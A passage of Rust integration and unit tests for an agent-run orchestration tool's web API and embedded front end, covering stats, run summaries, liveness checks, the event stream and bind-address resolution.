7927 assert_eq!(bumps["automerge_enabled"], 1);
7928 assert_eq!(bumps["needs_attention"], 1);
7929 assert_eq!(bumps["clean"], 1);
7930 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
7931 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
7932 }
7933
7934 #[tokio::test]
7935 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
7936 let f = Fixture::start().await;
7937 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
7938
7939 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
7940 assert_eq!(bumps["merged"], 1);
7941 assert_eq!(bumps["recorded"], 0);
7942 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
7945 assert_eq!(bumps["automerge_rate"], Value::Null);
7948 assert_eq!(bumps["attention_rate"], Value::Null);
7949 }
7950
7951 #[tokio::test]
7952 async fn stats_queue_counts_come_from_the_live_queue() {
7953 let f = Fixture::start().await;
7954 let q = f.queue();
7955 let mut queued = Task::new(
7956 "queued task".to_owned(),
7957 "do it".to_owned(),
7958 PathBuf::from("/repo"),
7959 Source::Human,
7960 );
7961 q.put(&mut queued).expect("put queued");
7962 let mut held = Task::new(
7963 "held task".to_owned(),
7964 "do it later".to_owned(),
7965 PathBuf::from("/repo"),
7966 Source::Human,
7967 );
7968 held.hold_machine(Some("out of attempts".to_owned()));
7969 q.put(&mut held).expect("put held");
7970
7971 let queue = f.get("/api/stats").await.json()["queue"].clone();
7972 assert_eq!(queue["queued"], 1);
7973 assert_eq!(queue["held"], 1);
7974 assert_eq!(queue["running"], 0);
7975 assert_eq!(queue["done"], 0);
7976 assert_eq!(queue["failed"], 0);
7977 assert_eq!(queue["blocked"], 0);
7978 }
7979
7980 #[tokio::test]
7981 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
7982 let f = Fixture::start().await;
7983 let stats = f.get("/api/stats").await;
7984 assert_eq!(stats.status, 200);
7985 assert_eq!(stats.json()["totals"]["runs"], 0);
7986 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
7987 assert_eq!(stats.json()["runs_unreadable"], 0);
7988 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
7989 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
7990 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
7991 assert_eq!(stats.json()["repo"], Value::Null);
7992 }
7993
7994 #[tokio::test]
7995 async fn stats_lists_every_repository_with_runs_recorded() {
7996 let f = Fixture::start().await;
7997 write_run_repo(
7998 &f.runs(),
7999 "20260902-140501-a",
8000 RunStatus::Merged,
8001 "/repos/a",
8002 );
8003 write_run_repo(
8004 &f.runs(),
8005 "20260902-140502-b",
8006 RunStatus::Merged,
8007 "/repos/a",
8008 );
8009 write_run_repo(
8010 &f.runs(),
8011 "20260902-140503-c",
8012 RunStatus::Blocked,
8013 "/repos/b",
8014 );
8015
8016 let stats = f.get("/api/stats").await;
8017 assert_eq!(stats.status, 200);
8018 assert_eq!(stats.json()["totals"]["runs"], 3);
8020 assert_eq!(stats.json()["repo"], Value::Null);
8021
8022 let repos = stats.json()["repos"].clone();
8023 let repos = repos.as_array().unwrap();
8024 assert_eq!(repos.len(), 2);
8025 assert_eq!(repos[0]["repo"], "/repos/a");
8027 assert_eq!(repos[0]["name"], "a");
8028 assert_eq!(repos[0]["runs"], 2);
8029 assert_eq!(repos[1]["repo"], "/repos/b");
8030 assert_eq!(repos[1]["runs"], 1);
8031 }
8032
8033 #[tokio::test]
8034 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
8035 let f = Fixture::start().await;
8036 write_run_repo(
8037 &f.runs(),
8038 "20260902-140501-a",
8039 RunStatus::Merged,
8040 "/repos/a",
8041 );
8042 write_run_repo(
8043 &f.runs(),
8044 "20260902-140502-b",
8045 RunStatus::Blocked,
8046 "/repos/b",
8047 );
8048
8049 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
8050 assert_eq!(stats.status, 200);
8051 assert_eq!(stats.json()["totals"]["runs"], 1);
8052 assert_eq!(stats.json()["totals"]["merged"], 1);
8053 assert_eq!(stats.json()["repo"], "/repos/a");
8054 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
8057 assert_eq!(stats.json()["runs_unreadable"], 0);
8060 }
8061
8062 #[tokio::test]
8063 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
8064 let f = Fixture::start().await;
8065 write_run_repo(
8066 &f.runs(),
8067 "20260902-140501-a",
8068 RunStatus::Merged,
8069 "/repos/a",
8070 );
8071
8072 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8073 assert_eq!(stats.status, 404);
8074 }
8075
8076 #[tokio::test]
8077 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8078 let f = Fixture::start().await;
8079 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8080
8081 let summary = f.get("/api/runs").await.json();
8082 let row = &summary[0];
8083 assert_eq!(row["short"], "a1b2");
8084 assert_eq!(row["status"], "ready");
8085 assert_eq!(row["done"], true);
8086 assert_eq!(row["title"], "Add a web UI");
8087 assert_eq!(row["repo_name"], "magi");
8088 assert_eq!(row["judges"], 3);
8089 assert_eq!(row["winner"], Value::Null);
8090 assert_eq!(row["reviews"], 0);
8091
8092 let detail = f.get("/api/runs/a1b2").await;
8095 assert_eq!(detail.status, 200);
8096 assert_eq!(detail.json()["base_branch"], "main");
8097 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8098 }
8099
8100 #[tokio::test]
8108 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8109 let f = Fixture::start().await;
8110
8111 let mut none_run = RunState::new(
8112 PathBuf::from("/repo/magi"),
8113 "main".to_owned(),
8114 "0123456789abcdef".to_owned(),
8115 "Add a web UI".to_owned(),
8116 Config::default(),
8117 );
8118 none_run.id = "20260902-140503-none".to_owned();
8119 none_run.status = RunStatus::Ready;
8120 none_run.merge = Some(crate::run::MergeOutcome {
8121 mode: crate::config::MergeMode::None,
8122 ok: true,
8123 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8124 empty: false,
8125 });
8126 write_state(&f.runs(), &none_run);
8127
8128 let mut pr_run = RunState::new(
8129 PathBuf::from("/repo/magi"),
8130 "main".to_owned(),
8131 "0123456789abcdef".to_owned(),
8132 "Add a web UI".to_owned(),
8133 Config::default(),
8134 );
8135 pr_run.id = "20260902-140504-prcl".to_owned();
8136 pr_run.status = RunStatus::Ready;
8137 pr_run.merge = Some(crate::run::MergeOutcome {
8138 mode: crate::config::MergeMode::Pr,
8139 ok: false,
8140 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8141 empty: false,
8142 });
8143 write_state(&f.runs(), &pr_run);
8144
8145 let summary = f.get("/api/runs").await.json();
8146 let rows: std::collections::HashMap<&str, &Value> = summary
8147 .as_array()
8148 .expect("an array")
8149 .iter()
8150 .map(|r| (r["id"].as_str().expect("an id"), r))
8151 .collect();
8152 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8153 assert_eq!(
8154 rows[none_run.id.as_str()]["unmerged_by_design"],
8155 true,
8156 "a mode-none Ready must be flagged in the list"
8157 );
8158 assert_eq!(
8159 rows[pr_run.id.as_str()]["unmerged_by_design"],
8160 false,
8161 "a Ready reached by a closed pull request is a different case"
8162 );
8163
8164 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8165 assert_eq!(none_detail["status"], "ready");
8166 assert_eq!(none_detail["unmerged_by_design"], true);
8167
8168 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8169 assert_eq!(pr_detail["unmerged_by_design"], false);
8170 }
8171
8172 #[tokio::test]
8177 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8178 let f = Fixture::start().await;
8179 let id = "20260902-140502-bbbb";
8183 let mut state = RunState::new(
8184 PathBuf::from("/repo/magi"),
8185 "main".to_owned(),
8186 "0123456789abcdef".to_owned(),
8187 "Add a web UI".to_owned(),
8188 Config::default(),
8189 );
8190 state.id = id.to_owned();
8191 state.status = RunStatus::Judging;
8192 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8193 let dir = f.runs().join(id);
8194 std::fs::create_dir_all(&dir).expect("run dir");
8195 std::fs::write(
8196 dir.join("run.json"),
8197 serde_json::to_string_pretty(&state).expect("serialize run"),
8198 )
8199 .expect("write run.json");
8200
8201 let cold = f.get(&format!("/api/runs/{id}")).await.json();
8207 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8208 assert_eq!(cold["live"], "unknown", "{cold}");
8209
8210 write_daemon(f.home.path(), Timestamp::now());
8213 let warm = f.get(&format!("/api/runs/{id}")).await.json();
8214 assert_eq!(warm["live"], "live", "{warm}");
8215 }
8216
8217 #[tokio::test]
8224 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8225 let f = Fixture::start().await;
8226 let id = "20260922-090000-cccc";
8227 let mut state = RunState::new(
8228 PathBuf::from("/repo/magi"),
8229 "main".to_owned(),
8230 "0123456789abcdef".to_owned(),
8231 "Review only".to_owned(),
8232 Config::default(),
8233 );
8234 state.id = id.to_owned();
8235 state.status = RunStatus::Reviewing;
8236 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8237 state.driver_pid = Some(std::process::id());
8243 state.driver_started_at = Some(
8244 crate::proc::process_started_at(std::process::id())
8245 .expect("this test process's own start time must be queryable"),
8246 );
8247 let dir = f.runs().join(id);
8248 std::fs::create_dir_all(&dir).expect("run dir");
8249 std::fs::write(
8250 dir.join("run.json"),
8251 serde_json::to_string_pretty(&state).expect("serialize run"),
8252 )
8253 .expect("write run.json");
8254
8255 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8256 assert_eq!(detail["live"], "live", "{detail}");
8257 }
8258
8259 #[tokio::test]
8265 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8266 let f = Fixture::start().await;
8267 let id = "20260922-090100-dddd";
8268 let mut state = RunState::new(
8269 PathBuf::from("/repo/magi"),
8270 "main".to_owned(),
8271 "0123456789abcdef".to_owned(),
8272 "Review only".to_owned(),
8273 Config::default(),
8274 );
8275 state.id = id.to_owned();
8276 state.status = RunStatus::Reviewing;
8277 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8278 state.driver_pid = Some(std::process::id());
8283 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8284 let dir = f.runs().join(id);
8285 std::fs::create_dir_all(&dir).expect("run dir");
8286 std::fs::write(
8287 dir.join("run.json"),
8288 serde_json::to_string_pretty(&state).expect("serialize run"),
8289 )
8290 .expect("write run.json");
8291
8292 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8293 assert_eq!(detail["live"], "dead", "{detail}");
8294 }
8295
8296 #[test]
8300 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8301 let mk = |id: &str, pid: Option<u32>| {
8302 let mut s = RunState::new(
8303 PathBuf::from("/repo/magi"),
8304 "main".to_owned(),
8305 "0123456789abcdef".to_owned(),
8306 "Add a web UI".to_owned(),
8307 Config::default(),
8308 );
8309 s.id = id.to_owned();
8310 s.driver_pid = pid;
8311 s.driver_started_at = Some("t0".to_owned());
8312 s
8313 };
8314 let states = vec![
8315 mk("20260902-140502-aaaa", Some(77)),
8316 mk("20260902-140502-bbbb", Some(77)),
8317 mk("20260902-140502-cccc", Some(77)),
8318 mk("20260902-140502-dddd", None),
8319 ];
8320 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8321 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8322 let sup: HashMap<String, String> = [(
8323 "20260902-140502-aaaa".to_owned(),
8324 "20260902-140502-cccc".to_owned(),
8325 )]
8326 .into();
8327
8328 let status_calls = std::cell::Cell::new(0);
8329 let identity_calls = std::cell::Cell::new(0);
8330 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8331 |_| {
8332 status_calls.set(status_calls.get() + 1);
8333 Some(true)
8334 },
8335 |_| {
8336 identity_calls.set(identity_calls.get() + 1);
8337 Some("t0".to_owned())
8338 },
8339 ));
8340 let rows = summarize(
8341 states,
8342 &open,
8343 &claimed,
8344 &sup,
8345 |p| probe.borrow_mut().status(p),
8346 |p| probe.borrow_mut().started_at(p),
8347 );
8348
8349 assert_eq!(status_calls.get(), 1, "one pid, one status query");
8350 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8351 assert_eq!(rows.len(), 4);
8352 assert!(!rows[0].waiting && rows[1].waiting);
8353 assert_eq!(rows[0].live, crate::run::Liveness::Live);
8354 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8355 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8356 assert_eq!(rows[1].superseded_by, None);
8357 }
8358
8359 #[test]
8360 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8361 let mut state = RunState::new(
8362 PathBuf::from("/repo/magi"),
8363 "main".to_owned(),
8364 "0123456789abcdef".to_owned(),
8365 "Review only".to_owned(),
8366 Config::default(),
8367 );
8368 state.id = "20260922-090200-dead".to_owned();
8369 state.status = RunStatus::Reviewing;
8370 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8371 .expect("serialize list row");
8372 assert_eq!(row["status"], "reviewing");
8373 assert_eq!(row["live"], "dead", "{row}");
8374 assert!(!row["done"].as_bool().unwrap());
8375 }
8376
8377 #[tokio::test]
8378 async fn the_run_list_is_newest_first_and_honours_a_limit() {
8379 let f = Fixture::start().await;
8380 for id in [
8381 "20260902-140501-aaaa",
8382 "20260902-140502-bbbb",
8383 "20260902-140503-cccc",
8384 ] {
8385 write_run(&f.runs(), id, RunStatus::Merged);
8386 }
8387
8388 let all = f.get("/api/runs").await.json();
8389 let capped = f.get("/api/runs?limit=2").await.json();
8390
8391 assert_eq!(all[0]["id"], "20260902-140503-cccc");
8392 assert_eq!(all.as_array().map(Vec::len), Some(3));
8393 assert_eq!(capped.as_array().map(Vec::len), Some(2));
8394 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8395 }
8396
8397 #[tokio::test]
8398 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8399 let f = Fixture::start().await;
8400 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8401
8402 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8403
8404 assert_eq!(res.status, 200);
8405 assert!(
8406 res.headers
8407 .contains("content-type: text/plain; charset=utf-8"),
8408 "a browser must render it, not download it: {}",
8409 res.headers
8410 );
8411 assert!(
8415 res.body.contains("20260902-140501-a1b2"),
8416 "the report is about the run that was asked for: {}",
8417 res.body
8418 );
8419 }
8420
8421 #[tokio::test]
8422 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8423 let f = Fixture::start().await;
8424
8425 let html = f.get("/").await;
8426 let css = f.get("/app.css").await;
8427 let js = f.get("/app.js").await;
8428
8429 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8430 assert!(
8431 html.headers
8432 .contains("content-type: text/html; charset=utf-8")
8433 );
8434 assert!(css.headers.contains("content-type: text/css"));
8435 assert!(js.headers.contains("content-type: text/javascript"));
8436 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8437 }
8438
8439 #[test]
8440 fn review_rounds_label_a_distinct_verified_head() {
8441 assert!(APP_JS.contains("round.verified_head"));
8442 assert!(APP_JS.contains("verified HEAD"));
8443 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8444 }
8445
8446 #[test]
8447 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8448 assert!(APP_JS.contains("blocked: { glyph:"));
8452 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8453
8454 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8458 assert!(
8459 APP_JS.contains(
8460 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8461 ),
8462 "the note line must name what a blocked task is waiting on, not just that it is blocked"
8463 );
8464 assert!(APP_JS.contains("if (status === \"blocked\") {"));
8468
8469 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8473 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8474 assert!(
8475 APP_JS.contains("location.hash = \"#/questions\";"),
8476 "a question node must jump to the Questions screen, not pretend to be a task"
8477 );
8478
8479 assert!(APP_JS.contains("Resolved questions"));
8482 assert!(APP_JS.contains("r.answersList.append("));
8483 assert!(APP_CSS.contains(".task-answers"));
8484 {
8485 let start = APP_JS
8486 .find("function updateTalkTaskRow")
8487 .expect("updateTalkTaskRow");
8488 let body = &APP_JS[start..start + 900];
8489 assert!(body.contains("task.runs[") || body.contains("runs[runs.length - 1]"));
8490 assert!(body.contains("setAttr(r.link, \"href\""));
8491 assert!(body.contains(
8492 "latest ? `#/runs/${latest}` : `#/queue/${encodeURIComponent(task.id)}`"
8493 ));
8494 assert!(
8495 !body.contains(": \"#/queue\""),
8496 "a task with no run must link to its own queue card, not the bare queue"
8497 );
8498 assert!(APP_CSS.contains(".talk-task-link"));
8499 }
8500 }
8501
8502 #[test]
8503 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8504 assert!(
8509 APP_JS.contains(
8510 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8511 ),
8512 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8513 );
8514 assert!(
8515 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8516 "regression: the task link must not go back to naming the bare Backlog route"
8517 );
8518
8519 assert!(
8522 APP_JS.contains(
8523 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8524 ),
8525 "`#/queue/<id>` must parse into a route carrying that id"
8526 );
8527
8528 assert!(APP_JS.contains("state.queueFocus = route.id;"));
8532 assert!(APP_JS.contains("function consumeQueueFocus()"));
8533 assert!(APP_JS.contains("jumpToTask(id)"));
8534 }
8535
8536 #[test]
8537 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8538 assert!(
8547 APP_JS.contains(
8548 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
8549 ),
8550 "the search-clearing branch must run before state.queueFocus is cleared, or the \
8551 recursive renderQueue() call has nothing left to jump to"
8552 );
8553 assert!(
8554 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
8555 "state.queueFocus must be cleared only once the jump has landed, so a card that \
8556 arrives later still gets it"
8557 );
8558 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
8559 assert!(APP_JS.contains("is not in the current Backlog."));
8560 assert!(APP_JS.contains("li.card[data-task-id=\""));
8561 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
8562 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
8563 assert!(APP_CSS.contains(".card-permalink"));
8564 assert!(APP_CSS.contains(".queue-focus-status"));
8565 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
8566 }
8567
8568 #[test]
8569 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8570 assert!(
8578 APP_JS.contains(
8579 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8580 ),
8581 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8582 );
8583 }
8584
8585 #[test]
8586 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8587 assert!(
8588 APP_JS.contains("round.verified_head !== round.head"),
8589 "a round that verified an earlier commit must be visibly distinct from one that \
8590 verified the head reviewers are looking at now"
8591 );
8592 assert!(
8593 APP_JS.contains("round.verified_at"),
8594 "when a check ran must be on the wire, not just which commit"
8595 );
8596 assert!(
8597 APP_JS.contains("resource_blocked"),
8598 "a command magi never got to run (shared build cache contention) must not render \
8599 the same as a command that ran and failed"
8600 );
8601 }
8602
8603 #[test]
8604 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
8605 assert!(
8613 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
8614 "every KPI tile built through statusTile() must route its click through \
8615 openRunsFiltered, the single place that sets the Runs filter"
8616 );
8617 for (label, status) in [
8618 ("Merged", "merged"),
8619 ("Ready", "ready"),
8620 ("Blocked", "blocked"),
8621 ("Stalled", "stalled"),
8622 ] {
8623 let call = format!("statusTile(\"{label}\", t.{status}, ");
8624 assert!(
8625 APP_JS.contains(&call),
8626 "expected the {label} KPI tile built via {call}..."
8627 );
8628 assert!(
8629 APP_JS.contains(&format!("status === \"{status}\"")),
8630 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
8631 compare a run against, not one invented only for the stats tile"
8632 );
8633 }
8634 assert!(
8635 APP_JS.contains("function openRunsFiltered(status)"),
8636 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
8637 );
8638 assert!(
8639 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
8640 "matchesFilter must gate on the exact status a KPI tile named"
8641 );
8642 assert!(
8650 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
8651 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
8652 hashchange event that may never fire"
8653 );
8654 }
8655
8656 #[test]
8657 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
8658 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
8664 assert!(
8665 APP_JS.contains(
8666 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
8667 ),
8668 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
8669 guard for an incompatible tree section"
8670 );
8671 }
8672
8673 #[test]
8674 fn every_stats_queue_tile_names_a_real_queue_section() {
8675 assert!(
8681 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
8682 "every queue tile built through sectionTile() must route its click through \
8683 openQueueSectionFocus"
8684 );
8685 for key in ["upnext", "running", "done", "held", "blocked"] {
8686 assert!(
8687 APP_JS.contains(&format!("{{ key: \"{key}\",")),
8688 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
8689 );
8690 }
8691 for line in [
8695 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
8696 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
8697 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
8698 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
8699 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
8700 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
8701 ] {
8702 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
8703 }
8704 }
8705
8706 #[test]
8707 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
8708 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
8715 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
8716 assert!(APP_JS.contains("function revealQueueSection(details)"));
8717 assert!(
8718 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
8719 "renderQueue() must consume both focus channels on every pass"
8720 );
8721 assert!(
8722 APP_JS.contains(
8723 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8724 ),
8725 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
8726 the recursive renderQueue() call has nothing left to reveal"
8727 );
8728 assert!(
8729 APP_JS.contains(
8730 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
8731 ),
8732 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
8733 );
8734 assert!(
8742 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
8743 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
8744 hashchange event that may never fire"
8745 );
8746 }
8747
8748 #[tokio::test]
8749 async fn the_change_stream_announces_the_current_revisions_on_connect() {
8750 let f = Fixture::start().await;
8751
8752 let mut socket = tokio::net::TcpStream::connect(f.addr)
8753 .await
8754 .expect("connect");
8755 socket
8756 .write_all(
8757 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8758 )
8759 .await
8760 .expect("write request");
8761
8762 let mut seen = String::new();
8765 let mut buf = [0u8; 1024];
8766 while !seen.contains("event: change") {
8767 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8768 .await
8769 .expect("the stream must speak within five seconds")
8770 .expect("read");
8771 assert!(read > 0, "the server closed the change stream: {seen}");
8772 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8773 }
8774
8775 assert!(
8776 seen.to_lowercase()
8777 .contains("content-type: text/event-stream"),
8778 "the browser only reconnects automatically for a real SSE stream: {seen}"
8779 );
8780 let data = seen
8781 .lines()
8782 .find_map(|l| l.strip_prefix("data:"))
8783 .expect("a data line");
8784 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8785 assert!(
8786 payload["queue_rev"].is_u64()
8787 && payload["runs_rev"].is_u64()
8788 && payload["questions_rev"].is_u64()
8789 && payload["talks_rev"].is_u64()
8790 && payload["notifications_rev"].is_u64()
8791 && payload["loop_rev"].is_u64(),
8792 "the client needs one revision per store to know what to refetch, \
8793 and `talks_rev` is the only notification a standing talk gets - a \
8794 phone whose radio slept through a turn learns about it here, as \
8795 does one whose operator started the loop from another device: \
8796 {payload}"
8797 );
8798
8799 let health = f.get("/api/health").await.json();
8806 for key in [
8807 "queue_rev",
8808 "runs_rev",
8809 "questions_rev",
8810 "talks_rev",
8811 "notifications_rev",
8812 "loop_rev",
8813 ] {
8814 assert!(
8815 health[key].is_u64(),
8816 "health is the change stream's fallback and is missing `{key}`: {health}"
8817 );
8818 }
8819 }
8820
8821 #[tokio::test]
8822 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8823 let f = Fixture::start().await;
8824 let before = f.get("/api/health").await.json()["talks_rev"]
8825 .as_u64()
8826 .expect("talks_rev");
8827
8828 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8829 std::thread::sleep(Duration::from_millis(10));
8830 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8831 on_disk.turns.push(crate::talk::Turn {
8832 who: crate::talk::Who::Operator,
8833 body: "a new turn".to_owned(),
8834 at: Timestamp::now(),
8835 attachments: Vec::new(),
8836 });
8837 f.talks().put(&mut on_disk).expect("record a turn");
8838
8839 let after = f.get("/api/health").await.json()["talks_rev"]
8840 .as_u64()
8841 .expect("talks_rev");
8842 assert_ne!(
8843 before, after,
8844 "a phone must be able to notice a talk's reply without polling every store"
8845 );
8846 }
8847
8848 #[test]
8849 fn bind_reads_back_from_the_spelling_the_cli_prints() {
8850 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8854 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8855 }
8856 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8857 assert!("everywhere".parse::<Bind>().is_err());
8858 }
8859
8860 #[test]
8861 fn an_explicit_bind_address_is_taken_verbatim() {
8862 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8863
8864 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8865
8866 assert_eq!(addr, asked);
8867 assert!(
8868 warning.is_none(),
8869 "an operator who named an address gets no lecture"
8870 );
8871 }
8872
8873 #[test]
8874 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8875 let (addr, warning) = resolve_bind(&Bind::Auto);
8876
8877 match addr {
8884 IpAddr::V4(ip) if is_tailnet(&ip) => {
8885 assert!(warning.is_none(), "a tailnet address needs no warning");
8886 }
8887 other => {
8888 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8889 let warning = warning.expect("a fallback has to explain itself");
8890 assert!(
8891 warning.contains("127.0.0.1") && warning.contains("local-only"),
8892 "the warning says what happened and what it costs: {warning}"
8893 );
8894 }
8895 }
8896 }
8897
8898 #[test]
8899 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8900 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8904 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8905 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8906 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8907 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8908 }
8909
8910 #[test]
8911 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8912 let ids = vec![
8913 "20260902-140501-aaaa".to_owned(),
8914 "20260902-140502-aabb".to_owned(),
8915 ];
8916
8917 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8918 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8919 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8920
8921 assert_eq!(missing.status, StatusCode::NOT_FOUND);
8922 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8923 assert_eq!(short, "20260902-140502-aabb");
8924 }
8925 #[tokio::test]
